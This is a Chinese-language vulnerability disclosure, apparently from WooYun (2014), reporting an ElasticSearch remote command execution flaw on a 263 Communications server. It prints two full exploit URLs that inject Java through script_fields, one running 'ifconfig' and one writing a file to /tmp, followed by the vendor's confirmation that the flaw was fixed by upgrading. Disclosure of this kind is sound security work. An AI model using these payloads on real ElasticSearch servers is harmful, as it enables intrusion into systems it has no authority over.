漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-05-27: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

263通信某服务器ElasticSearch命令执行漏洞

详细说明:

ElasticSearch存在命令执行漏洞

211.150.74.187

执行命令代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}

写文件代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

漏洞证明:

263.png

修复方案:

升级最新版

版权声明:转载请注明来源 cmd@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-27 15:25

厂商回复:

已经更新最高版本

最新状态:

2014-05-27:已修复

2014-05-27:已修复


漏洞评价: